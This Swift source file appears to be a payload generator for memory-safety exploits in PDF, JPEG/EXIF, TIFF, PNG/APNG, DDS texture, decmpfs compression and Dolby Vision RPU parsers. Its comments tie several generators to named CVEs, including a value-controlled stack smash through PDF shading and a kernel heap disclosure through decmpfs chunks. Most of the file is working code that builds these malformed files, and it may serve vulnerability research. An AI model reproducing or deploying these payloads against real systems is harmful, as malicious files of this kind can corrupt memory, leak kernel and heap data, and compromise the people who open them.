import Foundation // MARK: - Bit stream (MSB-first), used by the shading decoder and the RPU builder struct BitWriter { private(set) var out: [UInt8] = [] private var acc: UInt8 = 0 private var nbits = 0 mutating func put(_ value: UInt32, _ width: Int) { guard width > 0 else { return } for i in stride(from: width - 1, through: 0, by: -1) { acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1) nbits += 1 if nbits == 8 { out.append(acc); acc = 0; nbits = 0 } } } mutating func putExpGolomb(_ value: UInt32) { let v = value + 1 var bits = 0 while (v >> UInt32(bits)) > 1 { bits += 1 } for _ in 0.. [UInt8] { if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 } return out } } // MARK: - PDF struct PDFBuilder { private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:] mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) { objects[n] = (dict, stream) } func data() -> Data { var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8) var offsets: [Int: Int] = [:] for n in objects.keys.sorted() { guard let obj = objects[n] else { continue } offsets[n] = out.count out.append(Data("\(n) 0 obj\n".utf8)) out.append(Data(obj.dict.utf8)) if let stream = obj.stream { out.append(Data("\nstream\n".utf8)) out.append(Data(stream)) out.append(Data("\nendstream".utf8)) } out.append(Data("\nendobj\n".utf8)) } let xrefPos = out.count let maxObj = objects.keys.max() ?? 0 out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8)) for n in 1...max(maxObj, 1) { let off = offsets[n] ?? 0 out.append(Data(String(format: "%010d 00000 n \n", off).utf8)) } out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8)) return out } } enum PDFPayload { /// CVE-2026-112611 — Type 5 (lattice Gouraud) shading. /// /// `/ColorSpace /DeviceGray` gives nc = 1; the `/Function` declares a `/Range` of /// `rangeDim` outputs. `_cg_shading_type5_draw` builds a 72-byte mesh record per /// triangle point with a 4-slot (32-byte) color area at +0x20 and calls /// `CGFunctionEvaluate`, which writes `rangeDim` doubles there. The mesh array is a /// stack VLA, so the last record's write walks up the frame. With `/C0 = /C1 = value` /// every written double is the same chosen bit pattern — the smash is value-controlled. static func shading(rangeDim: Int, value: Double = 1.0, verticesPerRow: Int = 2, rows: Int = 2) -> Data { let bpCoord = 32 let bpComp = 8 var bw = BitWriter() var verts: [(UInt32, UInt32)] = [] for r in 0..>") pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>") pdf.add(4, "<< /Length 8 >>", B.ascii(" /Sh1 sh")) pdf.add(5, "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate \(bpCoord) /BitsPerComponent \(bpComp) /VerticesPerRow \(verticesPerRow) /Decode [0 200 0 200 0 1] /Function 6 0 R /Length \(stream.count) >>", stream) pdf.add(6, "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [\(list)] /C1 [\(list)] /Range [\(rangeList)] >>") return pdf.data() } /// CVE-2026-112610 — CMap `/UseCMap` recursion with an unclamped codespace length. /// Reachability for the embedded-CMap vehicle was refuted in the source analysis; /// this ships as a negative-result probe so the differential is on record. static func cmapProbe(codespaceLength: Int = 128) -> Data { var cmap = "" cmap += "%!PS-Adobe-3.0 Resource-CMap\n" cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n" cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n" cmap += "1 begincodespacerange\n" cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n" cmap += "endcodespacerange\n" cmap += "1 begincidrange\n<00> 0\nendcidrange\n" cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n" let cmapBytes = B.ascii(cmap) var pdf = PDFBuilder() pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>") pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>") pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>") pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET")) pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>") pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes) pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>") return pdf.data() } } // MARK: - JPEG / EXIF enum JPEGPayload { static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] } /// Family D — a marker declaring a length far beyond the bytes present. /// 27.0 warns and keeps parsing (OOB read); 27.2 aborts. static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data { var out = minimalSOI() out += [0xFF, 0xE1] out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)] out += Array(repeating: 0x41, count: max(0, actual - 2)) out += [0xFF, 0xD9] return Data(out) } /// Family J — EXIF UserComment whose value offset lands past the marker, so the /// short read leaves the malloc'd buffer tail uninitialised and the metadata read /// returns stale heap bytes. static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data { var tiff = Data() tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42 tiff.append(contentsOf: B.be32(8)) // IFD0 at 8 tiff.append(contentsOf: B.be16(1)) // 1 entry tiff.append(contentsOf: B.be16(0x9286)) // UserComment tiff.append(contentsOf: B.be16(7)) // UNDEFINED tiff.append(contentsOf: B.be32(UInt32(count))) tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block tiff.append(contentsOf: B.be32(0)) // next IFD var out = minimalSOI() let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) let len = payload.count + 2 out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] out += payload out += [0xFF, 0xD9] return Data(out) } /// Family F — GPS IFD whose value offsets point far past the GPS blob. static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data { var tiff = Data() tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) tiff.append(contentsOf: B.be32(8)) tiff.append(contentsOf: B.be16(1)) tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer tiff.append(contentsOf: B.be16(4)) // LONG tiff.append(contentsOf: B.be32(1)) tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26 tiff.append(contentsOf: B.be32(0)) // GPS IFD tiff.append(contentsOf: B.be16(2)) tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID tiff.append(contentsOf: B.be16(1)) tiff.append(contentsOf: B.be32(4)) tiff.append(contentsOf: [2, 3, 0, 0]) tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude tiff.append(contentsOf: B.be16(5)) // RATIONAL tiff.append(contentsOf: B.be32(1)) tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob tiff.append(contentsOf: B.be32(0)) var out = minimalSOI() let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) let len = payload.count + 2 out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] out += payload out += [0xFF, 0xD9] return Data(out) } } // MARK: - TIFF enum TIFFPayload { struct Entry { let tag: UInt16 let type: UInt16 let count: UInt32 let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4 } static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data { let ifdOffset = 8 let ifdSize = 2 + entries.count * 12 + 4 var extraOffset = ifdOffset + ifdSize if extraOffset % 2 == 1 { extraOffset += 1 } var extra = Data() var blobOffsets: [UInt16: UInt32] = [:] for blob in blobs { blobOffsets[blob.tag] = UInt32(extraOffset + extra.count) extra.append(contentsOf: blob.bytes) } var out = Data() out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00]) out.append(contentsOf: B.le32(UInt32(ifdOffset))) out.append(contentsOf: B.le16(UInt16(entries.count))) for e in entries.sorted(by: { $0.tag < $1.tag }) { out.append(contentsOf: B.le16(e.tag)) out.append(contentsOf: B.le16(e.type)) out.append(contentsOf: B.le32(e.count)) if e.value.count <= 4 { var v = e.value while v.count < 4 { v.append(0) } out.append(contentsOf: v) } else { out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0)) } } out.append(contentsOf: B.le32(0)) if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) } out.append(extra) return out } /// Family A — planar configuration with more planes than the destination row can hold. /// /// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with /// PlanarConfiguration=2 makes the 4th plane scatter past it. The scatter offset in /// 27.0 is a 32-bit multiply with no capacity compare against the row. static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data { let bits: [UInt8] = (0.. 4), so they live in the extra area as a blob and the IFD /// field holds the blob offset — a zeroed entry would send both strips to the file /// header and never truncate anything. Two-pass build: the placeholder blob fixes /// the layout (identical sizes both passes), the second pass writes real offsets. static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data { let stripBytes = width * height / 2 let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8) var entries: [Entry] = [ Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))), Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))), Entry(tag: 258, type: 3, count: 1, value: B.le16(8)), Entry(tag: 259, type: 3, count: 1, value: B.le16(1)), Entry(tag: 262, type: 3, count: 1, value: B.le16(1)), Entry(tag: 273, type: 4, count: 2, value: placeholder), Entry(tag: 277, type: 3, count: 1, value: B.le16(1)), Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))), Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))), Entry(tag: 284, type: 3, count: 1, value: B.le16(1)), ] // pass 1: identical-size placeholder fixes the file length var data = build(entries: entries, blobs: [(273, placeholder)]) let base = UInt32(data.count) // pass 2: real strip offsets — both passes produce the same layout let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes)) entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets) data = build(entries: entries, blobs: [(273, stripOffsets)]) data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes)) data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip return data } } // MARK: - PNG / APNG enum PNGPayload { static func crc32(_ bytes: [UInt8]) -> UInt32 { var table = [UInt32](repeating: 0, count: 256) for i in 0..<256 { var c = UInt32(i) for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) } table[i] = c } var crc: UInt32 = 0xFFFFFFFF for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) } return crc ^ 0xFFFFFFFF } /// Stored (uncompressed) deflate wrapped in zlib — a valid stream with no compressor. static func zlibStore(_ input: [UInt8]) -> [UInt8] { var out: [UInt8] = [0x78, 0x01] var offset = 0 if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] } while offset < input.count { let take = min(65535, input.count - offset) out.append(offset + take >= input.count ? 0x01 : 0x00) out += B.le16(UInt16(take)) out += B.le16(UInt16(~take & 0xFFFF)) out += Array(input[offset..<(offset + take)]) offset += take } var a: UInt32 = 1, b: UInt32 = 0 for byte in input { a = (a + UInt32(byte)) % 65521 b = (b + a) % 65521 } out += B.be32((b << 16) | a) return out } static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] { let body = truncateTo.map { Array(data.prefix($0)) } ?? data let len = UInt32(declaredLength ?? data.count) var out = B.be32(len) + B.ascii(type) + body out += B.be32(crc32(B.ascii(type) + body)) return out } /// Family H — an fcTL chunk truncated mid-header. /// /// 27.0 reads 34 bytes at the fcTL offset and never checks the return value, so a file /// that ends inside the fcTL leaves a 34-byte stack buffer partly uninitialised and the /// frame geometry is parsed out of whatever was there. 27.2 reads 26 bytes and compares /// against 0x1a. static func apngTruncatedFCTL(mode: Int = 0) -> Data { var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0]) out += chunk("acTL", B.be32(2) + B.be32(0)) var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0) fctl += B.be16(1) + B.be16(10) + [0, 0] // a real 4x4 RGBA frame so the container itself is valid var rawRows: [UInt8] = [] for _ in 0..<4 { rawRows.append(0) rawRows += [UInt8](repeating: 0x80, count: 16) } let idat = chunk("IDAT", zlibStore(rawRows)) if mode == 2 { // control: a fully valid first fcTL (proves the container is otherwise sound) out += chunk("fcTL", fctl) out += idat out += chunk("IEND", []) } else if mode == 0 { // proper chunk header claiming 26 bytes, only 4 present, then IEND out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4) out += idat out += chunk("IEND", []) } else { // file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4)) } return Data(out) } } // MARK: - DDS / KTX enum TexturePayload { /// Family G — BC7 DDS whose single mip level is far shorter than the block math needs. static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data { var out = Data("DDS ".utf8) out.append(contentsOf: B.le32(124)) out.append(contentsOf: B.le32(0x00081007)) out.append(contentsOf: B.le32(UInt32(height))) out.append(contentsOf: B.le32(UInt32(width))) out.append(contentsOf: B.le32(0)) out.append(contentsOf: B.le32(0)) out.append(contentsOf: B.le32(1)) out.append(contentsOf: [UInt8](repeating: 0, count: 44)) out.append(contentsOf: B.le32(32)) out.append(contentsOf: B.le32(0x4)) out.append(contentsOf: B.ascii("DX10")) out.append(contentsOf: [UInt8](repeating: 0, count: 20)) out.append(contentsOf: B.le32(0x1000)) out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0)) // DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1 out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0)) out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes))) return out } } // MARK: - decmpfs (AppleFSCompression) enum Decmpfs { static let magic: UInt32 = 0x636D_7066 // 'cmpf' static let typeZlibChunked: UInt32 = 4 /// Build a `com.apple.decmpfs` xattr payload: type-4 chunked zlib, with per-chunk /// control over how many bytes each zlib stream actually produces. /// /// CVE-2026-113910 lives in AppleFSCompressionTypeZlib: a chunk that decompresses to /// fewer bytes than the chunk table promises leaves the tail of the kernel page buffer /// unwritten, and that stale kernel heap is what read() hands back to the app. static func chunkedXattr(uncompressedSize: Int, chunkCount: Int, producePerChunk: Int) -> Data { var out = Data() out.append(contentsOf: B.le32(magic)) out.append(contentsOf: B.le32(typeZlibChunked)) out.append(contentsOf: B.le64(UInt64(uncompressedSize))) var chunkBlobs: [[UInt8]] = [] for _ in 0..= payload.count ? 0x01 : 0x00) raw += B.le16(UInt16(take)) raw += B.le16(UInt16(~take & 0xFFFF)) raw += Array(payload[offset..<(offset + take)]) offset += take } raw += adler32(payload) chunkBlobs.append([0x00] + raw) } var offsets: [UInt32] = [] var running: UInt32 = 0 for blob in chunkBlobs { offsets.append(running) running += UInt32(blob.count) } offsets.append(running) for o in offsets { out.append(contentsOf: B.le32(o)) } for blob in chunkBlobs { out.append(contentsOf: blob) } return out } static func adler32(_ bytes: [UInt8]) -> [UInt8] { var a: UInt32 = 1, b: UInt32 = 0 for byte in bytes { a = (a + UInt32(byte)) % 65521 b = (b + a) % 65521 } return B.be32((b << 16) | a) } } // MARK: - Dolby Vision RPU enum RPUPayload { /// Build a Dolby Vision RP 2086 RPU byte sequence that drives /// `hevcbridgeParseVdrDmDataPayloadExMetadataBlocks` past one of the three /// fixed-capacity arrays (A: 4 × 28 B, B: 8 × 14 B, C: 5 × 36 B). /// /// The source research reconstructed the header grammar only through the entry /// checks (magic / rpu_type / rpu_format, verified live on the macOS twin); the /// remaining VDR structures are emitted here as a parameterised grammar probe so the /// parser's own error receipt tells you how far it got. static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data { var bw = BitWriter() bw.put(0x19, 8) // magic, byte 0 bw.put(2, 6) // rpu_type = 2 (DOVI) bw.put(0x12, 11) // rpu_format bw.put(seed & 0x1F, 5) bw.put(1, 4) // vdr_rpu_profile bw.put(0, 4) // vdr_rpu_level bw.put(0, 1) // vdr_seq_info_present_flag bw.put(1, 1) // chroma_resampling_explicit_filter_flag bw.put(2, 2) // coefficient_data_type bw.put(1, 1) // el_spatial_resampling_filter_flag bw.put(0, 1) // disable_residual_flag bw.put(0, 4) // nln bw.put(1, 2) // num_dm_data // DM data head: class-2 ext block loop bw.putExpGolomb(UInt32(blockCount)) for i in 0..